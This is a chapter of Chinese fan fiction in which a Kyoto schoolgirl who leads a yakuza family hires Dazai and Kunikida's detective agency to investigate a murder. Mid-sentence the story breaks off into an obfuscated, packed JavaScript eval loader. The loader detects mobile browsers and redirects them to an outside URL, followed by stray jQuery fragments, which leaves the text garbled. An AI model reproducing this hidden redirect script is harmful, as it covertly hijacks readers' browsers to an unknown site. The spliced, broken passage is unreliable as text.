1. 知晓凶手的谋杀

作品:《帮帮我,冲田先生!

    黑色立标奔驰停靠在稍显破旧的小办公楼前,身着黑色西装的男性打开后座的车门,当他恭敬地低下头弯下腰的时候,因衣物拉伸而不小心露出了一截的小臂上爬满了深色刺青。


    彻彻底底的道上做派让周围的人离得远了一些,小心翼翼地不敢把目光投注过来。


    所以大概也没有人注意到,从车后座里钻出来的仅仅是个女孩子而已。


    雪白的领子开襟至胸口,红色的小领巾点缀在青黑色的校服上,不长不短刚好到膝盖的裙摆正是彰显清纯与活力的长度,被打着卷的秋风扬起一个角,又被双手提在身前的包压死。


    ——那应当是个关西来的女子高中生。


    “小姐,请!”


    “辛苦,你们先回吧。”


    脸上带着恰到好处的得体笑容,那名女子高中生目送着黑西装男人弯腰应是后驾车驶离,这才挺直了背脊转身走进了颇有些年代感的办公楼。


    步履间她将碎发顺到耳后,按亮了电梯四楼的按钮。


    再出门时看见的是略显空旷的办公室,资料和文件堆成了山,能办事或者接待的人却没有几个。


    “你好?”


    说话的人也不知道是不是这间事务所里目前唯一的事务员,好在她抱着一摞资料路过的时候总算是看到了这里多出来的客人,


    “请问是有委托吗?抱歉最近实在是太忙了一点,请在会客室小坐片刻。”


    看样子是确实人手紧缺到没有能够招呼一声的余裕,就连指一指会客室在哪里的功夫都没有,那名事务员就又风风火火地离开了。


    被落下的女学生只好左右看了看,自顾自找到了张舒服的沙发坐下。


    直到十几分钟后,才有人从另一间小办公室走出来,直奔这个沙发而来。


    “抱歉,这几天侦探社实在是抽不开身,大家都很忙,请问您是什么委托?是否可以接受延期查办?”


    金色头发的小辫子男人看了一眼女孩水手服胸口的名牌,似乎稍有犹豫的思考了几秒,选择了一个准确而又不失礼的称呼,“稗田同学?”


    这大概就是没什么重要的事情就快走,缓几天再来的意思了,她想。


    “贵社的生意真好啊。”


    名牌上印了【稗田阿礼】字样的女孩子笑着夸赞了一句,然后看向面前空空荡荡小茶几,“桌子整理的也非常干净呐。”


    “呃,谢谢?”


    刚刚的话里她似乎在某几个音节上加了重音,但关西人说话的语气似乎本来就更加抑扬顿挫些,总是和横滨这边有所不同的,所以金发的青年,也就是国木田,只当她话里话外表达的是同一个意思,下意识就开口道了个谢。


    “……”一阵不明所以的沉默过后,女学生稗田阿礼依旧带着那没有改变过分毫的笑换了个正式的话题,说出了和那笑容大相径庭的话。


    “我的一个姐姐前几天被人杀害了。”


    “节哀……”


    国木田叹了口气,事关人命,看来是件推脱不掉的案子了。


    “这是资料。”


    一个牛皮纸袋子被稗田阿礼双手递出来,她的手指泛着些没有血色的青白,右手中指处似乎有些笔茧,见那包资料被以同样认真的态度接过,刚刚一度止步于嘴角的笑意这才跑进了她的眼睛里。


    “还请描述一下你所知道的状况。”兢兢业业的乙方开始习惯性地询问情况。


    而无良的甲方并没有进行任何有效的回答,“您调查的真仔细。”


    她多看了两眼对方手里刚刚接过去的资料袋,笑容似乎比刚才更深了些,好像又在夸奖的词汇上稍稍加重了些语气且拉长了调调,这下让人略微听出了些不对味来。


    刚刚那个,是不是什么别有深意的反讽来着?


    “呃,谢……”国木田犹犹豫豫地不知道该不该道谢,而黑发的男人忽然出现打断了他即将说出口的话。


    那人趁他不备眨眼间就顺走了牛皮纸袋子,手指一挑封口已经被展开,目光很快就在字里行间飞速移动起来,“我看看我看看!”


    被害人的样貌、姓名、死亡时间、甚至尸体照片在这期间全都被摊开放在了空荡荡的小茶几上。


    鲜血流干的伤口特写、了无生气的面部五官、法检过后白花花又赤条条毫无隐私的留存档案,通通直白而又强势地刺进人的眼睛里去。


    “岸野希美,25岁,三天前因胸腔被捅穿而死,与居民无缘由大暴动有关……呜啊!不就是前几天的Q……痛!”


    “闭嘴,太宰!”


    手账本重重地砸在那黑发男人的脑袋上,发出了让人听到就产生幻痛的声音。


    国木田阴沉着脸赶紧把资料收拢,向女学生稗田道歉起来,“非常抱歉,让你又重新看到亲人的遗体照片。”


    “你很过分诶国木田,这样才是最效率的办法吧?”


    “闭嘴!”


    “就像太宰先生所说的那样,国木田先生,我来的目的就是这个。”


    而在场唯一的女孩子保持着得体的坐姿没有动摇分毫,就连不急不缓的语气都没有为此加快半分,让人一时摸不透她到底在笑些什么,


    “这份资料本来就是我自己整理出来的,况且希美姐也并不是我的亲人,我只是称呼她为姐姐而已。”


    “哎?诶?是这样吗?”国木田将信将疑地看过来。


    她点点头,别在右侧的发饰流苏随着动作晃动了几下,发出了一点点清脆的声响。


    “凶手应当和司法体系中的高官有所联系,不过作为【普通人】的我只知道希美姐从小就学过一些格斗技巧,绝不会被常人从身后一击毙命。”


    “你听上去知道些什么,而且好像对凶手有所猜测?”


    国木田皱起了眉头来,稍稍对眼前的女学生有了些改观。


    知道什么却不说出口、不说明线索与证据却对凶手有所猜测,这无疑不是好好拜托别人查案的态度!


    “呜哇!没想到现在还有人会喜欢用这种方式记录资料啊!”


    发出影响人思考的噪声的是在旁边自顾自翻看资料的太宰,牛皮纸袋子里的资料被他翻到了后半部分。


    国木田忍不住看了一眼,然后重新向上推了推自己的眼镜,“这是……!”


    那叠资料的后半部分统统都是使用作文纸手写下来的、关于某些政府要员不法记录的调查与整合。


    “这就是问题所在了,希美姐书房里所有变动过的资料我全部默写下来了。”


    如果那部分资料不是几十页的调查报告,而是国文书上的几首诗歌的话,她这个轻描淡写的语气还是正常的。


    “等等,你是说这些全都是你记下来的?!”


    没有理会国木田难以置信的反问,太宰立马明白了目前的问题所在,“也就是说,这部分资料足以证明凶手的身份,但对方在杀死……或者指使人杀死这名岸野女士的时候已经将资料的原件清除了。”


    “正是这样。”她点了点头,同样无视了国木田刚刚难以置信的反问。


    “唔……手写的这一份无法作为有效依据使用,但却明确知晓证据的全貌啊……”


    “那些就是我能够提供的线索,找到凶手和证据是侦探该做的事情哦。”


    她没有多说的意思,只是用理所当然又高高在上的甲方语气说道。


    “说的也是呢,”太宰点着头递出名片,并拿出不知从哪里翻来的便签本,“来,请在这里留下您的名字和联系方式吧,有线索会随时与您联系的。”


    “是这里对吧?”


    “对对没错。”


    在沙沙的写字声中他又补充了一句,“请附上【给亲爱的太宰治先生,祝你早日去死吧】这样的字样,谢谢!”


    “你们在干什么?”放弃追究手写证据可靠性的国木田听到他说的话,立马又火大起来,“还有不要拿你的私人号码去骚扰委托人!太宰!”


    “哎——?可是我拿到了国木田超——喜欢的阿礼老师的亲笔签名诶!”


    就在刚刚的便签纸上,赫然留有【阿礼乙女】的字样,那正是时下文学界呼声很高的叙事类和歌集作者——少女阿礼的自称方式。


    她会在每个故事末尾以叙述人的身份留下这个名字,因此大家都猜测这位老师是个想要重回自己少女时期的中年妇女。


    ——她的和


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14565016|155617||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    歌创作水准太高了,不像是年轻人能够做到的,哪怕有些少女口吻也让人怀疑是故意的。


    “哎?诶?”国木田看看手里的便签,又看了看面前的女学生,“阿礼老师?”


    “嗯。”


    她毫不避讳地点点头,看向国木田的眼神中多少带着些调笑的意味,看上去之前的某些言行举止大概多多少少附带了一点点故意逗弄的成分在里面。


    不过她很快也站起身来挥了挥手,并没有在这里继续多待片刻的意思,“那就等你们的消息了。”


    看着电梯门合上,国木田这才回过神来,他有些百思不得其解地看向太宰,“你是怎么发现的?”


    她就是那个【阿礼乙女】*这件事。


    “比起这些,”后者阴恻恻地看向自己过于好骗的搭档,“你尊敬的阿礼老师是个京都人呢……”


    “这个大家都知道吧?她自己在编辑的采访中有说过啊。”


    “那你猜猜她刚刚骂了你几句?”


    “……哈?!”


    众所周知,京都人有一些当地语言艺术,如果被他们夸奖的话就要提高警惕了,多半有一些其他引申含义需要去进行挖掘。


    比如夸人生意好也许是在说他们忙到没有人招待、


    夸人桌子干净可能是在说客人面前连茶水都没有礼数实在是不周、


    夸人调查仔细大概是在说问得太多明明刚刚给到的资料里都有之类的。


    总之需要人稍稍进行一些深入思考啦。


    而喜欢阴阳怪气的京都人稗田阿礼本人,则是坐上了东京来的座驾,这回车上的两人倒是明显与她更熟稔一些。


    至少副驾驶上坐着的深紫色头发男人仅仅是瞥了一眼后视镜,就用略带不赞同的语气制止了某些人在后座上翻阅资料的行为。


    “阿礼,这样对眼睛不好。”


    “啪”是资料被合上的声音,她有些无奈的叹了口气,“真是严格啊,宗次郎先生。”


    “反正线索已经给到侦探社了吧?那个侦探社的话没问题的。”司机的左脸有一道巨大的伤疤一直延申到头顶,看上去不像个善茬。


    “……可是希美姐是宗次郎先生很喜欢的孩子吧?”阿礼义正言辞地辩驳了一句,证明自己在忙的可是要紧事。


    “我不否认这一点。”


    车窗的玻璃映射出副驾上紫发青年沉下来的眼神,“但她终究是死了,这一点已经无论如何也无法改变。”


    “所以说,犯人和线索是侦探才讲究的事情。”


    稗田阿礼,现如今关西岸野组的大小姐看向那叠资料的封面,露出了打着什么坏主意的笑意。


    “我讨厌推理,我们极道组织讲究的是道义与恩仇。”


    “我不反对你要做的事情哦,”


    副驾上的人骤然露出了好看的笑容来,他甚至回过头来看向阿礼,“但是让已经无法挽回的死亡来影响到仍活着的人的健康,这是一件非常不明智的事情,你说对吧?阿礼?”


    “……对。”


    当这个人露出这种表情的时候,你多半得顺着他的意思去做才行,这是稗田阿礼十来年相处得出的经验。


    ——否则他总能用自己的办法达成目的。


    任性的大小姐难得有些瘪声瘪气地修整了自己的行程,“先去医院,之后再去找人。”


    “太可靠了宗次郎先生,只有您能够逮住阿礼小姐乖乖去医院。”司机忍不住发出了松了口气的声音。


    “鹤蝶君,你可真会调节气氛啊。”


    “谢……不对!唯独请您不要用这种阴阳怪气的方式说话!阿礼小姐!”


    东大医学部的附属医院,稗田阿礼是这里的常客。


    不明原因的肌肉萎缩与内脏功能衰退,没有办法根治,这是很小的时候就检查出来的问题了,只能不断用药缓解身体的负担。


    “哎呀,小阿礼又被逮住了呢。”相熟的护士看到她已经开始调笑了起来,“很好很好,这个月没有迟到。”


    医生曾经断言她活不长久,对于这个年限,阿礼有着更加明确的认知。


    ——三十岁,那是每一任御阿礼之子寿命的极限。